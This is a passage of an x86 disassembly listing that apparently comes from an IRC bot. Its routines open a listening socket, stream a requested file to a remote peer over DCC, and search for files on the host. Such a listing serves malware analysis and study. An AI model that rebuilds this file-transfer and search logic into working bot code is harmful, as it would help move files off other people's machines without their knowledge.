		jz	short loc_40C09A


loc_40C058:				; CODE XREF: sub_40C040+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401B9A
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C058
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C09A:				; CODE XREF: sub_40C040+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C040	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0D0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0D0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0E5
		mov	edi, esi


loc_40C0E5:				; CODE XREF: ___:0040C0E1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0FA
		mov	edi, esi


loc_40C0FA:				; CODE XREF: ___:0040C0F6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C120	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C120	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C140	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C140	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C160	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C160	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C180	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C180	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1A0	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C1A0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1D0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C200	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C200	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2C0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2C0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2E0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C310	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C310	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C330	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C330	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C360	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C360	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C380	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C380	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3A0	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C3A0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3D0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3D0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3F0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C40B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C40B:				; CODE XREF: sub_40C3F0+11j
		retn
sub_40C3F0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C440	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C440
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40C440	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4E0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4E0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA2E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		nop
		call	near ptr 71AB3B91h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C5AC
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		call	near ptr byte_5FC011
		nop
		add	esp, 8
		jmp	loc_40C9D5
; ---------------------------------------------------------------------------


loc_40C5AC:				; CODE XREF: sub_40C4E0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C5FA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C6A0
; ---------------------------------------------------------------------------


loc_40C5FA:				; CODE XREF: sub_40C4E0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		call	near ptr 71AB2B66h
		nop
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C653:				; CODE XREF: sub_40C4E0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C665
		mov	eax, 5Fh
		jmp	short loc_40C668
; ---------------------------------------------------------------------------


loc_40C665:				; CODE XREF: sub_40C4E0+17Cj
		movsx	eax, al


loc_40C668:				; CODE XREF: sub_40C4E0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C653
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C6BD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C6A0:				; CODE XREF: sub_40C4E0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C6BD:				; CODE XREF: sub_40C4E0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		call	near ptr 286040Ah
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C724
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	near ptr byte_5FC011
		add	esp, 8
		jmp	loc_40C9CF
; ---------------------------------------------------------------------------


loc_40C724:				; CODE XREF: sub_40C4E0+201j
		push	0
		push	esi
		call	near ptr 2860000h
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D808D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		call	near ptr 71AB2BC0h
		nop
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A08
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		call	near ptr 71AB2DC0h
		nop
		test	eax, eax
		jg	short loc_40C81D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C81D:				; CODE XREF: sub_40C4E0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C86D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BA
; ---------------------------------------------------------------------------


loc_40C86D:				; CODE XREF: sub_40C4E0+360j
		push	edi
		nop
		call	near ptr 71AB9639h
		test	ebx, ebx
		jz	loc_40C925


loc_40C87C:				; CODE XREF: sub_40C4E0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C887
		mov	ebp, ebx


loc_40C887:				; CODE XREF: sub_40C4E0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 285037Fh
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 2850000h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C9EE
		cmp	edi, 1
		jl	loc_40C9EE
		sub	ebx, edi
		jnz	loc_40C87C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C925:				; CODE XREF: sub_40C4E0+396j
		push	esi
		nop
		call	near ptr 2840A54h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9BA:				; CODE XREF: sub_40C4E0+338j
					; sub_40C4E0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9CF:				; CODE XREF: sub_40C4E0+1D8j
					; sub_40C4E0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9DC


loc_40C9D5:				; CODE XREF: sub_40C4E0+C7j
		push	ebx
		call	near ptr 71AB9639h
		nop


loc_40C9DC:				; CODE XREF: sub_40C4E0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		call	near ptr 71AB9639h
		nop
		push	esi
		nop
		call	near ptr 2840343h


loc_40C9EE:				; CODE XREF: sub_40C4E0+427j
					; sub_40C4E0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		nop
		call	near ptr 71AB9639h
		push	1
		nop
		call	near ptr 2840343h


loc_40CA2E:				; CODE XREF: sub_40C4E0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBB0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBD0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBF0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBF0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40CBF0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC90	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC90
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE91
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444ADC ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CE0B
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F34
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CE0B:				; CODE XREF: sub_40CC90+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	near ptr byte_5FC011
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE7C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE7C:				; CODE XREF: sub_40CC90+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		nop
		call	near ptr 2840343h
		pop	ebx


loc_40CE91:				; CODE XREF: sub_40CC90+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF40	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF40
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
